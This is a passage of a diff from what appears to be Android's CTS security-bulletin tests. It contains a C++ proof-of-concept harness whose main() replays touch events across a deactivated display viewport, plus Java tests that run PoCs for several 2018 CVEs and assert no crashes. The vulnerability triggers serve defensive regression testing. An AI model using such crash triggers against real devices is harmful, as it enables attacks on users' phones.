+    void addRelativeAxis(int32_t deviceId, int32_t axis) {
+        Device* device = getDevice(deviceId);
+        device->relativeAxes.add(axis, true);
+    }
+
+    void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->keyCodeStates.replaceValueFor(keyCode, state);
+    }
+
+    void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->scanCodeStates.replaceValueFor(scanCode, state);
+    }
+
+    void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->switchStates.replaceValueFor(switchCode, state);
+    }
+
+    void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
+        Device* device = getDevice(deviceId);
+        device->absoluteAxisValue.replaceValueFor(axis, value);
+    }
+
+    void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
+                uint32_t flags) {
+        Device* device = getDevice(deviceId);
+        KeyInfo info;
+        info.keyCode = keyCode;
+        info.flags = flags;
+        if (scanCode) {
+            device->keysByScanCode.add(scanCode, info);
+        }
+        if (usageCode) {
+            device->keysByUsageCode.add(usageCode, info);
+        }
+    }
+
+    void addLed(int32_t deviceId, int32_t led, bool initialState) {
+        Device* device = getDevice(deviceId);
+        device->leds.add(led, initialState);
+    }
+
+    void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
+                       int32_t sensorDataIndex) {
+        Device* device = getDevice(deviceId);
+        SensorInfo info;
+        info.sensorType = sensorType;
+        info.sensorDataIndex = sensorDataIndex;
+        device->sensorsByAbsCode.emplace(absCode, info);
+    }
+
+    void setMscEvent(int32_t deviceId, int32_t mscEvent) {
+        Device* device = getDevice(deviceId);
+        typename BitArray<MSC_MAX>::Buffer buffer;
+        buffer[mscEvent / 32] = 1 << mscEvent % 32;
+        device->mscBitmask.loadFromBuffer(buffer);
+    }
+
+    void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
+        mRawLightInfos.emplace(rawId, std::move(info));
+    }
+
+    void testLightBrightness(int32_t rawId, int32_t brightness) {
+        mLightBrightness.emplace(rawId, brightness);
+    }
+
+    void testLightIntensities(int32_t rawId,
+                              const std::unordered_map<LightColor, int32_t> intensities) {
+        mLightIntensities.emplace(rawId, std::move(intensities));
+    }
+
+    bool getLedState(int32_t deviceId, int32_t led) {
+        Device* device = getDevice(deviceId);
+        return device->leds.valueFor(led);
+    }
+
+    std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
+
+    void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
+        Device* device = getDevice(deviceId);
+        device->virtualKeys.push_back(definition);
+    }
+
+    void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
+                      int32_t value) {
+        std::scoped_lock<std::mutex> lock(mLock);
+        RawEvent event;
+        event.when = when;
+        event.readTime = readTime;
+        event.deviceId = deviceId;
+        event.type = type;
+        event.code = code;
+        event.value = value;
+        mEvents.push_back(event);
+
+        if (type == EV_ABS) {
+            setAbsoluteAxisValue(deviceId, code, value);
+        }
+    }
+
+    void setVideoFrames(
+            std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
+        mVideoFrames = std::move(videoFrames);
+    }
+
+private:
+    Device* getDevice(int32_t deviceId) const {
+        ssize_t index = mDevices.indexOfKey(deviceId);
+        return index >= 0 ? mDevices.valueAt(index) : nullptr;
+    }
+
+    Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
+        Device* device = getDevice(deviceId);
+        return device ? device->classes : Flags<InputDeviceClass>(0);
+    }
+
+    InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
+        Device* device = getDevice(deviceId);
+        return device ? device->identifier : InputDeviceIdentifier();
+    }
+
+    int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
+
+    void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            *outConfiguration = device->configuration;
+        }
+    }
+
+    status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
+                                 RawAbsoluteAxisInfo* outAxisInfo) const override {
+        Device* device = getDevice(deviceId);
+        if (device && device->enabled) {
+            ssize_t index = device->absoluteAxes.indexOfKey(axis);
+            if (index >= 0) {
+                *outAxisInfo = device->absoluteAxes.valueAt(index);
+                return OK;
+            }
+        }
+        outAxisInfo->clear();
+        return -1;
+    }
+
+    bool hasRelativeAxis(int32_t deviceId, int axis) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            return device->relativeAxes.indexOfKey(axis) >= 0;
+        }
+        return false;
+    }
+
+    bool hasInputProperty(int32_t, int) const override { return false; }
+
+    bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
+        }
+        return false;
+    }
+
+    status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
+                    int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            const KeyInfo* key = getKey(device, scanCode, usageCode);
+            if (key) {
+                if (outKeycode) {
+                    *outKeycode = key->keyCode;
+                }
+                if (outFlags) {
+                    *outFlags = key->flags;
+                }
+                if (outMetaState) {
+                    *outMetaState = metaState;
+                }
+                return OK;
+            }
+        }
+        return NAME_NOT_FOUND;
+    }
+
+    const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
+        if (usageCode) {
+            ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
+            if (index >= 0) {
+                return &device->keysByUsageCode.valueAt(index);
+            }
+        }
+        if (scanCode) {
+            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+            if (index >= 0) {
+                return &device->keysByScanCode.valueAt(index);
+            }
+        }
+        return nullptr;
+    }
+
+    status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
+
+    base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
+                                                                      int32_t absCode) {
+        Device* device = getDevice(deviceId);
+        if (!device) {
+            return Errorf("Sensor device not found.");
+        }
+        auto it = device->sensorsByAbsCode.find(absCode);
+        if (it == device->sensorsByAbsCode.end()) {
+            return Errorf("Sensor map not found.");
+        }
+        const SensorInfo& info = it->second;
+        return std::make_pair(info.sensorType, info.sensorDataIndex);
+    }
+
+    void setExcludedDevices(const std::vector<std::string>& devices) override {
+        mExcludedDevices = devices;
+    }
+
+    size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
+        std::scoped_lock lock(mLock);
+
+        const size_t filledSize = std::min(mEvents.size(), bufferSize);
+        std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
+
+        mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
+        mEventsCondition.notify_all();
+        return filledSize;
+    }
+
+    std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
+        auto it = mVideoFrames.find(deviceId);
+        if (it != mVideoFrames.end()) {
+            std::vector<TouchVideoFrame> frames = std::move(it->second);
+            mVideoFrames.erase(deviceId);
+            return frames;
+        }
+        return {};
+    }
+
+    int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
+            if (index >= 0) {
+                return device->scanCodeStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
+            if (index >= 0) {
+                return device->keyCodeStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->switchStates.indexOfKey(sw);
+            if (index >= 0) {
+                return device->switchStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
+                                  int32_t* outValue) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
+            if (index >= 0) {
+                *outValue = device->absoluteAxisValue.valueAt(index);
+                return OK;
+            }
+        }
+        *outValue = 0;
+        return -1;
+    }
+
+    // Return true if the device has non-empty key layout.
+    bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
+                               uint8_t* outFlags) const override {
+        bool result = false;
+        Device* device = getDevice(deviceId);
+        if (device) {
+            result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
+            for (size_t i = 0; i < numCodes; i++) {
+                for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
+                    if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
+                        outFlags[i] = 1;
+                    }
+                }
+                for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
+                    if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
+                        outFlags[i] = 1;
+                    }
+                }
+            }
+        }
+        return result;
+    }
+
+    bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+            return index >= 0;
+        }
+        return false;
+    }
+
+    bool hasLed(int32_t deviceId, int32_t led) const override {
+        Device* device = getDevice(deviceId);
+        return device && device->leds.indexOfKey(led) >= 0;
+    }
+
+    void setLedState(int32_t deviceId, int32_t led, bool on) override {}
+
+    void getVirtualKeyDefinitions(
+            int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
+        outVirtualKeys.clear();
+
+        Device* device = getDevice(deviceId);
+        if (device) {
+            outVirtualKeys = device->virtualKeys;
+        }
+    }
+
+    const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
+        return nullptr;
+    }
+
+    bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
+        return false;
+    }
+
+    void vibrate(int32_t, const VibrationElement&) override {}
+
+    void cancelVibrate(int32_t) override {}
+
+    std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
+
+    std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
+        return BATTERY_CAPACITY;
+    }
+
+    std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
+        return BATTERY_STATUS;
+    }
+
+    const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
+
+    std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
+        return std::nullopt;
+    }
+
+    const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
+        std::vector<int32_t> ids;
+        for (const auto& [rawId, info] : mRawLightInfos) {
+            ids.push_back(rawId);
+        }
+        return ids;
+    }
+
+    std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
+        auto it = mRawLightInfos.find(lightId);
+        if (it == mRawLightInfos.end()) {
+            return std::nullopt;
+        }
+        return it->second;
+    }
+
+    void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
+        mLightBrightness.emplace(lightId, brightness);
+    }
+
+    void setLightIntensities(int32_t deviceId, int32_t lightId,
+                             std::unordered_map<LightColor, int32_t> intensities) override {
+        mLightIntensities.emplace(lightId, intensities);
+    };
+
+    std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
+        auto lightIt = mLightBrightness.find(lightId);
+        if (lightIt == mLightBrightness.end()) {
+            return std::nullopt;
+        }
+        return lightIt->second;
+    }
+
+    std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
+            int32_t deviceId, int32_t lightId) override {
+        auto lightIt = mLightIntensities.find(lightId);
+        if (lightIt == mLightIntensities.end()) {
+            return std::nullopt;
+        }
+        return lightIt->second;
+    };
+
+    virtual bool isExternal(int32_t) const { return false; }
+
+    void dump(std::string&) override {}
+
+    void monitor() override {}
+
+    void requestReopenDevices() override {}
+
+    void wake() override {}
+};
+
+// --- TestInputMapper---
+
+class TestInputMapper : public InputMapper {
+    uint32_t mSources;
+    int32_t mKeyboardType;
+    int32_t mMetaState;
+    KeyedVector<int32_t, int32_t> mKeyCodeStates;
+    KeyedVector<int32_t, int32_t> mScanCodeStates;
+    KeyedVector<int32_t, int32_t> mSwitchStates;
+    std::vector<int32_t> mSupportedKeyCodes;
+
+    std::mutex mLock;
+    std::condition_variable mStateChangedCondition;
+    bool mConfigureWasCalled GUARDED_BY(mLock);
+    bool mResetWasCalled GUARDED_BY(mLock);
+    bool mProcessWasCalled GUARDED_BY(mLock);
+    RawEvent mLastEvent GUARDED_BY(mLock);
+
+    std::optional<DisplayViewport> mViewport;
+
+public:
+    TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
+          : InputMapper(deviceContext),
+            mSources(sources),
+            mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
+            mMetaState(0),
+            mConfigureWasCalled(false),
+            mResetWasCalled(false),
+            mProcessWasCalled(false) {}
+
+    virtual ~TestInputMapper() {}
+
+    void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
+
+    void setMetaState(int32_t metaState) { mMetaState = metaState; }
+    void setKeyCodeState(int32_t keyCode, int32_t state) {
+        mKeyCodeStates.replaceValueFor(keyCode, state);
+    }
+
+    void setScanCodeState(int32_t scanCode, int32_t state) {
+        mScanCodeStates.replaceValueFor(scanCode, state);
+    }
+
+    void setSwitchState(int32_t switchCode, int32_t state) {
+        mSwitchStates.replaceValueFor(switchCode, state);
+    }
+
+    void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
+
+private:
+    uint32_t getSources() override { return mSources; }
+
+    void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
+        InputMapper::populateDeviceInfo(deviceInfo);
+
+        if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
+            deviceInfo->setKeyboardType(mKeyboardType);
+        }
+    }
+
+    void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mConfigureWasCalled = true;
+
+        // Find the associated viewport if exist.
+        const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
+        if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+            mViewport = config->getDisplayViewportByPort(*displayPort);
+        }
+
+        mStateChangedCondition.notify_all();
+    }
+
+    void reset(nsecs_t) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mResetWasCalled = true;
+        mStateChangedCondition.notify_all();
+    }
+
+    void process(const RawEvent* rawEvent) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mLastEvent = *rawEvent;
+        mProcessWasCalled = true;
+        mStateChangedCondition.notify_all();
+    }
+
+    int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
+        ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
+        return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
+        ssize_t index = mScanCodeStates.indexOfKey(scanCode);
+        return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getSwitchState(uint32_t, int32_t switchCode) override {
+        ssize_t index = mSwitchStates.indexOfKey(switchCode);
+        return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    // Return true if the device has non-empty key layout.
+    bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
+                               uint8_t* outFlags) override {
+        for (size_t i = 0; i < numCodes; i++) {
+            for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
+                if (keyCodes[i] == mSupportedKeyCodes[j]) {
+                    outFlags[i] = 1;
+                }
+            }
+        }
+        bool result = mSupportedKeyCodes.size() > 0;
+        return result;
+    }
+
+    virtual int32_t getMetaState() { return mMetaState; }
+
+    virtual void fadePointer() {}
+
+    virtual std::optional<int32_t> getAssociatedDisplay() {
+        if (mViewport) {
+            return std::make_optional(mViewport->displayId);
+        }
+        return std::nullopt;
+    }
+};
+
+// --- InstrumentedInputReader ---
+
+class InstrumentedInputReader : public InputReader {
+    std::queue<std::shared_ptr<InputDevice>> mNextDevices;
+
+public:
+    InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
+                            const sp<InputReaderPolicyInterface>& policy,
+                            const sp<InputListenerInterface>& listener)
+          : InputReader(eventHub, policy, listener), mTestContext(this) {}
+
+    virtual ~InstrumentedInputReader() {}
+
+    void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
+
+    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+                                           const std::string& location = "") {
+        InputDeviceIdentifier identifier;
+        identifier.name = name;
+        identifier.location = location;
+        int32_t generation = deviceId + 1;
+        return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
+    }
+
+    // Make the protected loopOnce method accessible to tests.
+    using InputReader::loopOnce;
+
+protected:
+    virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
+                                                            const InputDeviceIdentifier& identifier)
+            REQUIRES(mLock) {
+        if (!mNextDevices.empty()) {
+            std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
+            mNextDevices.pop();
+            return device;
+        }
+        return InputReader::createDeviceLocked(eventHubId, identifier);
+    }
+
+    // --- TestInputReaderContext ---
+    class TestInputReaderContext : public ContextImpl {
+        int32_t mGlobalMetaState;
+        bool mUpdateGlobalMetaStateWasCalled;
+        int32_t mGeneration;
+
+    public:
+        TestInputReaderContext(InputReader* reader)
+              : ContextImpl(reader),
+                mGlobalMetaState(0),
+                mUpdateGlobalMetaStateWasCalled(false),
+                mGeneration(1) {}
+
+        virtual ~TestInputReaderContext() {}
+
+        void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
+
+        void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
+
+        uint32_t getGeneration() { return mGeneration; }
+
+        void updateGlobalMetaState() override {
+            mUpdateGlobalMetaStateWasCalled = true;
+            ContextImpl::updateGlobalMetaState();
+        }
+
+        int32_t getGlobalMetaState() override {
+            return mGlobalMetaState | ContextImpl::getGlobalMetaState();
+        }
+
+        int32_t bumpGeneration() override {
+            mGeneration = ContextImpl::bumpGeneration();
+            return mGeneration;
+        }
+    } mTestContext;
+
+public:
+    TestInputReaderContext* getContext() { return &mTestContext; }
+};
+
+// --- InputMapperTest ---
+
+class InputMapperTest {
+public:
+    std::shared_ptr<TestEventHub> mTestEventHub;
+    sp<TestInputReaderPolicy> mTestPolicy;
+    sp<TestInputListener> mTestListener;
+    std::unique_ptr<InstrumentedInputReader> mReader;
+    std::shared_ptr<InputDevice> mDevice;
+
+    virtual void SetUp(Flags<InputDeviceClass> classes) {
+        mTestEventHub = std::make_unique<TestEventHub>();
+        mTestPolicy = new TestInputReaderPolicy();
+        mTestListener = new TestInputListener();
+        mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
+                                                            mTestListener);
+        mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
+    }
+
+    void SetUp() { SetUp(DEVICE_CLASSES); }
+
+    void TearDown() {
+        mTestListener.clear();
+        mTestPolicy.clear();
+    }
+    virtual ~InputMapperTest() {}
+
+    void addConfigurationProperty(const char* key, const char* value) {
+        mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
+    }
+
+    void configureDevice(uint32_t changes) {
+        if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+            mReader->requestRefreshConfiguration(changes);
+            mReader->loopOnce();
+        }
+        mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
+    }
+
+    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+                                           const std::string& location, int32_t eventHubId,
+                                           Flags<InputDeviceClass> classes) {
+        InputDeviceIdentifier identifier;
+        identifier.name = name;
+        identifier.location = location;
+        std::shared_ptr<InputDevice> device =
+                std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
+                                              identifier);
+        mReader->pushNextDevice(device);
+        mTestEventHub->addDevice(eventHubId, name, classes);
+        mReader->loopOnce();
+        return device;
+    }
+
+    template <class T, typename... Args>
+    T& addMapperAndConfigure(Args... args) {
+        T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
+        configureDevice(0);
+        mDevice->reset(ARBITRARY_TIME);
+        mapper.reset(ARBITRARY_TIME);
+        return mapper;
+    }
+
+    void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
+                                      int32_t orientation, const std::string& uniqueId,
+                                      std::optional<uint8_t> physicalPort,
+                                      ViewportType viewportType) {
+        mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
+                                        uniqueId, physicalPort, viewportType);
+        configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+    }
+
+    void clearViewports() { mTestPolicy->clearViewports(); }
+
+    void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
+                 int32_t value) {
+        RawEvent event;
+        event.when = when;
+        event.readTime = readTime;
+        event.deviceId = mapper.getDeviceContext().getEventHubId();
+        event.type = type;
+        event.code = code;
+        event.value = value;
+        mapper.process(&event);
+        mReader->loopOnce();
+    }
+    void Process_DeactivateViewport_AbortTouches();
+};
+
+void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
+    SetUp();
+    addConfigurationProperty("touch.deviceType", "touchScreen");
+    mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
+                                    DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
+                                    ViewportType::INTERNAL);
+    std::optional<DisplayViewport> optionalDisplayViewport =
+            mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
+    DisplayViewport displayViewport = *optionalDisplayViewport;
+
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
+    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
+    MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
+
+    // Finger down
+    int32_t x = 100, y = 100;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+    NotifyMotionArgs motionArgs;
+
+    // Deactivate display viewport
+    displayViewport.isActive = false;
+    mTestPolicy->updateViewport(displayViewport);
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+    // Finger move
+    x += 10, y += 10;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+    // Reactivate display viewport
+    displayViewport.isActive = true;
+    mTestPolicy->updateViewport(displayViewport);
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+    // Finger move again
+    x += 10, y += 10;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+}
+
+} // namespace android
+
+int main() {
+    android::InputMapperTest inputMapperTest;
+    inputMapperTest.Process_DeactivateViewport_AbortTouches();
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
similarity index 74%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index b0f19ad..1bb5e0a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -20,18 +20,17 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9547 extends SecurityTestCase {
 
    /**
-     * b/174738029
-     *
+     * b/114223584
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 114223584)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9547() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9547", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index b0f19ad..6e4d588 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9564 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/114238578
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 114238578)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9564() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9564", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index b0f19ad..e899b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9593 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/116722267
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 116722267)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9593() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9593", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index b0f19ad..d6e8fb5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
